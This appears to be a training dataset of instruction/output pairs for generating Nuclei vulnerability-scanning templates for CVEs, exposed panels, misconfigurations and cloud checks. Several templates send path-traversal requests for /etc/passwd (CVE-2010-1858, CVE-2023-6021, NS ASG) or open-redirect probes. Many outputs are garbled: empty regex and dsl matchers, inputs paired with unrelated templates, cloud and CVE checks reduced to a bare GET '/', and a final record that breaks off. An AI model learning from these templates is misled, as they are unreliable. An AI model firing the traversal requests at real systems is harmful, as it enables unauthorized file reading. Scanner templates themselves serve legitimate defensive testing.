Instruction: Generate a Nuclei template for: Sonarqube with public projects

Input:
Title: Sonarqube with public projects
Summary: Sonarqube with public projects. Sonarqube public projects detected.
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: sonarqube-public-projects

info:
  name: Sonarqube with public projects
  author: sickwell
  severity: low
  description: Sonarqube public projects detected.
  tags: sonarqube,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/components/suggestions?recentlyBrowsed="
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - ""results":"
          - ""items":"
          - ""more":"
        part: body
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: babypips

info:
  name: BabyPips User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: BabyPips user name information check was conducted.
  tags: osint,osint-social,babypips,discovery

http:
  - method: GET
    path:
      - "https://forums.babypips.com/u/{{user}}.json"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "user_badges"
        part: body


Instruction: Generate a Nuclei template for: Drupal User Enumration [Ajax]

Input:
Title: Drupal User Enumration [Ajax]
Summary: Drupal User Enumration [Ajax]. Tags: drupal, misconfig, vuln
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: drupal-user-enum-ajax

info:
  name: Drupal User Enumration [Ajax]
  author: 0w4ys
  severity: info
  description: Drupal User Enumration [Ajax]
  tags: drupal,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/views/ajax/autocomplete/user/a"
      - "{{BaseURL}}/views/ajax/autocomplete/user/a"
      - "{{BaseURL}}/?q=admin/views/ajax/autocomplete/user/a"
      - "{{BaseURL}}/?q=views/ajax/autocomplete/user/a"
    matchers:
      - type: word
        words:
          - "":"a."
          - "":"A."
        part: body
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: pulse-secure-panel

info:
  name: Pulse Secure VPN Login Panel - Detect
  author: bsysop
  severity: info
  description: Pulse Secure VPN login panel was detected.
  tags: panel,pulse,vpn,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"
      - "{{BaseURL}}/dana-na/auth/url_2/welcome.cgi"
      - "{{BaseURL}}/dana-na/auth/url_3/welcome.cgi"
    matchers:
      - type: word
        words:
          - "/dana-na/auth/welcome.cgi"
        part: header
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: instagram phishing Detection

Input:
Title: instagram phishing Detection
Summary: instagram phishing Detection. A instagram phishing website was detected

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: instagram-phish

info:
  name: instagram phishing Detection
  author: rxerium
  severity: info
  description: A instagram phishing website was detected
  tags: phishing,instagram,osint,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Login • Instagram"
      - type: status
        status:
          - 200
      - type: dsl


Instruction: Generate a Nuclei template for: PivotalTracker API Test

Input:
Title: PivotalTracker API Test
Summary: PivotalTracker API Test. Tags: token-spray, pivotaltracker
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: api-pivotaltracker

info:
  name: PivotalTracker API Test
  author: zzeitlin
  severity: info
  description: PivotalTracker API Test
  tags: token-spray,pivotaltracker

http:
  - method: GET
    path:
      - "https://www.pivotaltracker.com/services/v5/me"
    matchers:
      - type: word
        words:
          - "invalid_authentication"
          - "unauthenticated"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: ansible-tower-exposure

info:
  name: Ansible Tower - Detect
  author: pdteam,idealphase
  severity: info
  description: Ansible Tower was detected. Ansible Tower is a commercial offering that helps teams manage complex multi-tier deployments by adding control, knowledge, and delegation to Ansible-powered environments.
  tags: panel,ansible,redhat,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Ansible Tower</title>"
          - "ansible-bootstrap"
        condition: or


Instruction: Generate a Nuclei template for: Child Theme Configurator Detection

Input:
Title: Child Theme Configurator Detection
Summary: Child Theme Configurator Detection. Tags: tech, wordpress, wp-plugin
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-child-theme-configurator

info:
  name: Child Theme Configurator Detection
  author: ricardomaia
  severity: info
  description: Child Theme Configurator Detection
  tags: tech,wordpress,wp-plugin,top-200,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/child-theme-configurator/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: SMTP Security Checks

Input:
Title: SMTP Security Checks
Summary: SMTP Security Checks. A simple workflow that runs all smtp related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: smtp-workflow

info:
  name: SMTP Security Checks
  author: pussycat0x
  severity: info
  description: A simple workflow that runs all smtp related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Festivo API Test

Input:
Title: Festivo API Test
Summary: Festivo API Test. Fastest and most advanced public holiday and observance service on the market
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: api-festivo

info:
  name: Festivo API Test
  author: daffainfo
  severity: info
  description: Fastest and most advanced public holiday and observance service on the market
  tags: token-spray,festivo

http:
  - method: GET
    path:
      - "https://api.getfestivo.com/v2/holidays?country=US&api_key={{token}}&year=2020"
    matchers:
      - type: word
        words:
          - ""id":"
          - ""holidays":"
          - ""name":"
        part: body
        condition: and


Instruction: Generate a Nuclei template for: Unauthenticated Mautic Upgrade.php Exposure

Input:
Title: Unauthenticated Mautic Upgrade.php Exposure
Summary: Unauthenticated Mautic Upgrade.php Exposure. Upgrade.php page in Mautic is exposed.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: unauth-mautic-upgrade

info:
  name: Unauthenticated Mautic Upgrade.php Exposure
  author: huowuzhao
  severity: high
  description: Upgrade.php page in Mautic is exposed.
  tags: misconfig,unauth,mautic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/upgrade.php"
    matchers:
      - type: word
        words:
          - "Upgrade Mautic"
          - "Click here to start upgrade"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2010-1858

Input:
Title: Path Traversal in gelembjuk com_smestorage
Summary: Directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: gelembjuk com_smestorage
Indicators: error, vulnerability detected

Output:
id: CVE-2010-1858

info:
  name: Joomla! Component SMEStorage - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,gelembjuk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Whatsapp phishing Detection

Input:
Title: Whatsapp phishing Detection
Summary: Whatsapp phishing Detection. A Whatsapp phishing website was detected

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: Whatsapp-phish

info:
  name: Whatsapp phishing Detection
  author: rxerium
  severity: info
  description: A Whatsapp phishing website was detected
  tags: phishing,whatsapp,osint,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "WhatsApp | Secure and Reliable Free Private Messaging and Callings"
      - type: status
        status:
          - 200
      - type: dsl


Instruction: Generate a Nuclei template for: New Relic Pixie Deploy Key

Input:
Title: New Relic Pixie Deploy Key
Summary: New Relic Pixie Deploy Key. Tags: newrelic, pixie, token
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: newrelic-pixie-deploy-key

info:
  name: New Relic Pixie Deploy Key
  author: DhiyaneshDK
  severity: info
  description: New Relic Pixie Deploy Key
  tags: newrelic,pixie,token,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: rackup-config-ru

info:
  name: Rackup Configuration - Detect
  author: DhiyaneshDk
  severity: info
  description: Rackup configuration information was detected.
  tags: exposure,files,config,rackup,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/config.ru"
    matchers:
      - type: word
        words:
          - "run Rails.application"
          - "/config/environment"
        part: body
        condition: and
      - type: word
        words:
          - "Bundler.require"
          - "require 'rubygems'"
        part: body
        condition: and


Instruction: Generate a Nuclei template for: SAP NetWeaver ICM Info page leak

Input:
Title: SAP NetWeaver ICM Info page leak
Summary: SAP NetWeaver ICM Info page leak. Detection of SAP NetWeaver ABAP Webserver /public/info page
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: sap-netweaver-info-leak

info:
  name: SAP NetWeaver ICM Info page leak
  author: randomstr1ng
  severity: medium
  description: Detection of SAP NetWeaver ABAP Webserver /public/info page
  tags: sap,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/sap/public/info"
    matchers:
      - type: regex
        part: body


Instruction: Generate a Nuclei template for CVE-2012-2122

Input:
Title: Authentication Bypass in oracle mysql and others
Summary: sql/password.c in Oracle MySQL 5.1.x before 5.1.63, 5.5.x before 5.5.24, and 5.6.x before 5.6.6, and MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12, 5.3.x before 5.3.6, and 5.5.x before 5.5.23, when running in certain environments with certain implementations of the memcmp function, allows remote attackers to bypass authentication by repeatedly authenticating with the same incorrect password, which eventually causes a token comparison to succeed due to an improperly-checked return value.
Vulnerability Type: Authentication Bypass
Severity: medium
Affected Products: oracle mysql, mariadb mariadb
Indicators: error, vulnerability detected

Output:
id: CVE-2012-2122

info:
  name: MySQL - Authentication Bypass
  author: pussycat0x
  severity: medium
  description: sql/password.c in Oracle MySQL 5.1.x before 5.1.63, 5.5.x before 5.5.24, and 5.6.x before 5.6.6, and MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12, 5.3.x before 5.3.6, and 5.5.x before 5.5.23, when running in certain environments with certain implementations of the memcmp function, allows remote attackers to bypass authentication by repeatedly authenticating with the same incorrect password, which eventually causes a token comparison to succeed due to an improperly-checked return value.
  tags: cve,cve2012,js,enum,network,mssql,fuzz,oracle,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: rancher-dashboard

info:
  name: Rancher Dashboard Panel - Detect
  author: ritikchaddha,righettod
  severity: info
  description: Rancher Dashboard was detected.
  tags: panel,rancher,dashboard,login,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/dashboard/auth/login"
    matchers:
      - type: word
        words:
          - "content="Rancher Dashboard"
          - "rancherEnv:"
          - "<title>Rancher"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-6021

Input:
Title: Vulnerability (CWE-29) in ray_project ray
Summary: LFI in Ray's log API endpoint allows attackers to read any file on the server without authentication. The issue is fixed in version 2.8.1+. Ray maintainers' response can be found here: https://www.anyscale.com/blog/update-on-ray-cves-cve-2023-6019-cve-2023-6020-cve-2023-6021-cve-2023-48022-cve-2023-48023
Vulnerability Type: Vulnerability (CWE-29)
Severity: high
Affected Products: ray_project ray
Indicators: error, vulnerability detected

Output:
id: CVE-2023-6021

info:
  name: Ray API - Local File Inclusion
  author: byt3bl33d3r
  severity: high
  description: LFI in Ray's log API endpoint allows attackers to read any file on the server without authentication.
  tags: cve,cve2023,lfi,ray,oos,ray_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nodes?view=summary"
      - "{{BaseURL}}/api/v0/logs/file?node_id={{nodeid}}&filename=../../../../../etc%2fpasswd&lines=50000"
    matchers:
      - type: regex
        part: body_2
      - type: word
        words:
          - "text/plain"
          - "aiohttp"
        part: header_2
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: aptus-panel

info:
  name: Aptus Login - Panel Detect
  author: princechaddha
  severity: info
  description: Aptus login panel was detected.
  tags: panel,aptus,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Aptus Login</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: WordPress Upward Themes <1.5 - Open Redirect

Input:
Title: WordPress Upward Themes <1.5 - Open Redirect
Summary: WordPress Upward Themes <1.5 - Open Redirect. WordPress Upward Themes 1.5 accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks. An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: wp-upward-theme-redirect

info:
  name: WordPress Upward Themes <1.5 - Open Redirect
  author: r3Y3r53
  severity: medium
  description: WordPress Upward Themes 1.5 accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks. An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.
  tags: wordpress,wp-theme,wp,upward,redirect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/themes/Upward/go.php?https://interact.sh"
    matchers:
      - type: regex
        part: header


Instruction: Generate a Nuclei template for: Deimos C2 JARM - Detect

Input:
Title: Deimos C2 JARM - Detect
Summary: Deimos C2 JARM - Detect. DeimosC2 is a post-exploitation Command & Control (C2) tool that leverages multiple communication methods in order to control machines that have been compromised. DeimosC2 server and agents works on, and has been tested on, Windows, Darwin, and Linux.It is entirely written in Golang with a front end written in Vue.js.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: deimos-c2-jarm

info:
  name: Deimos C2 JARM - Detect
  author: pussycat0x
  severity: info
  description: DeimosC2 is a post-exploitation Command & Control (C2) tool that leverages multiple communication methods in order to control machines that have been compromised. DeimosC2 server and agents works on, and has been tested on, Windows, Darwin, and Linux.It is entirely written in Golang with a front end written in Vue.js.
  tags: jarm,c2,ir,osint,cti,deimos,network,tcp,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Log Checkpoints Disabled in PostgreSQL Database Instances

Input:
Title: Log Checkpoints Disabled in PostgreSQL Database Instances
Summary: Log Checkpoints Disabled in PostgreSQL Database Instances. Ensure that the "log_checkpoints" database flag is enabled for your Google Cloud PostgreSQL database instances. The "log_checkpoints" flag allows checkpoints and restart points to be logged and included within the PostgreSQL server log.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-sql-log-checkpoints-disabled

info:
  name: Log Checkpoints Disabled in PostgreSQL Database Instances
  author: princechaddha
  severity: medium
  description: Ensure that the "log_checkpoints" database flag is enabled for your Google Cloud PostgreSQL database instances. The "log_checkpoints" flag allows checkpoints and restart points to be logged and included within the PostgreSQL server log.
  tags: cloud,devops,gcp,gcloud,google-cloud-sql,postgresql,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Jetty Security Checks

Input:
Title: Jetty Security Checks
Summary: Jetty Security Checks. A simple workflow that runs all Jetty related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: jetty-workflow

info:
  name: Jetty Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all Jetty related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Coremail - Config Discovery

Input:
Title: Coremail - Config Discovery
Summary: Coremail - Config Discovery. Coremail configuration information was discovered.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: coremail-config-disclosure

info:
  name: Coremail - Config Discovery
  author: princechaddha
  severity: high
  description: Coremail configuration information was discovered.
  tags: config,exposure,coremail,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mailsms/s?func=ADMIN:appState&dumpConfig=/"
    matchers:
      - type: word
        words:
          - "<object name="cm_md_db">"
          - "containerDefinitions"
          - "<string name="User">coremail</string>"
          - "<string name="EnableCoremailSmtp">"
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Classic Editor Detection

Input:
Title: Classic Editor Detection
Summary: Classic Editor Detection. Tags: tech, wordpress, wp-plugin
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-classic-editor

info:
  name: Classic Editor Detection
  author: ricardomaia
  severity: info
  description: Classic Editor Detection
  tags: tech,wordpress,wp-plugin,top-100,top-200,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/classic-editor/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - OpenStreetMap Nominatim

Input:
Title: Content-Security-Policy Bypass - OpenStreetMap Nominatim
Summary: Content-Security-Policy Bypass - OpenStreetMap Nominatim
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: openstreetmap-nominatim-csp-bypass

info:
  name: Content-Security-Policy Bypass - OpenStreetMap Nominatim
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - OpenStreetMap Nominatim
  tags: xss,csp-bypass,openstreetmap-nominatim,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "openstreetmap.org"
        part: header
        condition: and


Instruction: Generate a Nuclei template for: VM Instance Automatic Restart Not Enabled

Input:
Title: VM Instance Automatic Restart Not Enabled
Summary: VM Instance Automatic Restart Not Enabled. Ensure that Google Cloud Compute Engine service restarts automatically your virtual machine instances when they are terminated due to non-user initiated reasons such as maintenance events, hardware, and software failures. The Automatic Restart feature configures the virtual machine restart behavior when an instance crashes or it is terminated by the system.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-vm-automatic-restart-disabled

info:
  name: VM Instance Automatic Restart Not Enabled
  author: princechaddha
  severity: medium
  description: Ensure that Google Cloud Compute Engine service restarts automatically your virtual machine instances when they are terminated due to non-user initiated reasons such as maintenance events, hardware, and software failures. The Automatic Restart feature configures the virtual machine restart behavior when an instance crashes or it is terminated by the system.
  tags: cloud,devops,gcp,gcloud,compute,reliability,automatic-restart,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: geoserver-login-panel

info:
  name: GeoServer Login Panel - Detect
  author: ritikchaddha
  severity: info
  description: GeoServer login panel was detected.
  tags: panel,geoserver,osgeo,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/web"
      - "{{BaseURL}}/geoserver/web/"
    matchers:
      - type: word
        words:
          - "<title>GeoServer: Welcome</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Freebox FTP Service - Detect

Input:
Title: Freebox FTP Service - Detect
Summary: Freebox FTP Service - Detect. Freebox FTP service was detected.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: freebox-ftp-detect

info:
  name: Freebox FTP Service - Detect
  author: pussycat0x
  severity: info
  description: Freebox FTP service was detected.
  tags: network,ftp,freebox,detect,tcp,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Lvmeng - UTS Disclosure

Input:
Title: Lvmeng - UTS Disclosure
Summary: Lvmeng - UTS Disclosure. Lvmeng UTS was discovered.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: lvmeng-uts-disclosure

info:
  name: Lvmeng - UTS Disclosure
  author: pikpikcu
  severity: high
  description: Lvmeng UTS was discovered.
  tags: config,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webapi/v1/system/accountmanage/account"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "application/json"
        part: header
        condition: and
      - type: word
        words:
          - "password"
          - "nsfocus_uts"
          - "MANAGER_IP"
        part: body
        condition: and


Instruction: Generate a Nuclei template for: Use AWS-managed policy to Manage Networking Resources

Input:
Title: Use AWS-managed policy to Manage Networking Resources
Summary: Use AWS-managed policy to Manage Networking Resources. Ensure that all Amazon EKS cluster node groups use the "AmazonEKS_CNI_Policy" managed policy to manage cloud networking resources effectively. This policy provides the necessary permissions to the Amazon VPC CNI Plugin for managing network interfaces.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: eks-iam-managed-policy-networking

info:
  name: Use AWS-managed policy to Manage Networking Resources
  author: princechaddha
  severity: high
  description: Ensure that all Amazon EKS cluster node groups use the "AmazonEKS_CNI_Policy" managed policy to manage cloud networking resources effectively. This policy provides the necessary permissions to the Amazon VPC CNI Plugin for managing network interfaces.
  tags: cloud,devops,aws,amazon,eks,aws-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Workload Identity Cluster Creation Not Disabled

Input:
Title: Workload Identity Cluster Creation Not Disabled
Summary: Workload Identity Cluster Creation Not Disabled. Ensure that "Disable Workload Identity Cluster Creation" policy is enforced at the GCP organization level in order to require that any new Google Kubernetes Engine (GKE) clusters have the Workload Identity feature disabled at the time of their creation. This constraint policy is useful when you want to tightly control service account access in your organization by disabling Workload Identity in addition to service account creation and service acco
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-org-workload-identity

info:
  name: Workload Identity Cluster Creation Not Disabled
  author: princechaddha
  severity: medium
  description: Ensure that "Disable Workload Identity Cluster Creation" policy is enforced at the GCP organization level in order to require that any new Google Kubernetes Engine (GKE) clusters have the Workload Identity feature disabled at the time of their creation. This constraint policy is useful when you want to tightly control service account access in your organization by disabling Workload Identity in addition to service account creation and service account key creation.
  tags: cloud,devops,gcp,gcloud,resourcemanager,security,gke,kubernetes,workload-identity,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Atlassian JIRA Setup - Installer

Input:
Title: Atlassian JIRA Setup - Installer
Summary: Atlassian JIRA Setup - Installer. Atlassian JIRA is susceptible to the Installation page exposure due to misconfiguration.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: jira-setup

info:
  name: Atlassian JIRA Setup - Installer
  author: ritikchaddha
  severity: high
  description: Atlassian JIRA is susceptible to the Installation page exposure due to misconfiguration.
  tags: misconfig,jira,atlassian,installer,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/secure/SetupMode!default.jspa"
    matchers:
      - type: word
        words:
          - "JIRA - JIRA setup"
          - "jira.webresources:jira-setup""
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: chomikujpl

info:
  name: Chomikuj.pl User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Chomikuj.pl user name information check was conducted.
  tags: osint,osint-misc,chomikujpl,discovery

http:
  - method: GET
    path:
      - "https://chomikuj.pl/{{user}}/"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Foldery"
        part: body


Instruction: Generate a Nuclei template to detect Path Traversal

Input:
Title: Path Traversal (CWE-22)
Summary: The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escap
Vulnerability Type: Path Traversal
Severity: high
Indicators: unexpected

Output:
id: nsasg-arbitrary-file-read

info:
  name: NS ASG - Local File Inclusion
  author: pikpikcu,ritikchaddha
  severity: high
  description: NS ASG is vulnerable to local file inclusion.
  tags: nsasg,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd"
      - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php"
    matchers:
      - type: regex
      - type: word
        words:
          - "$certfile"
          - "application/pdf"
        part: body
        condition: and


Instruction: Generate a Nuclei template for CVE-2017-4011

Input:
Title: Cross-Site Scripting (XSS) in mcafee network_data_loss_prevention
Summary: Embedding Script (XSS) in HTTP Headers vulnerability in the server in McAfee Network Data Loss Prevention (NDLP) 9.3.x allows remote attackers to get session/cookie information via modification of the HTTP request.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: mcafee network_data_loss_prevention
Indicators: error, vulnerability detected

Output:
id: CVE-2017-4011

info:
  name: McAfee Network Data Loss Prevention 9.3.x - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: McAfee Network Data Loss Prevention User-Agent 9.3.x contains a cross-site scripting vulnerability which allows remote attackers to get session/cookie information via modification of the HTTP request.
  tags: cve,cve2017,mcafee,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
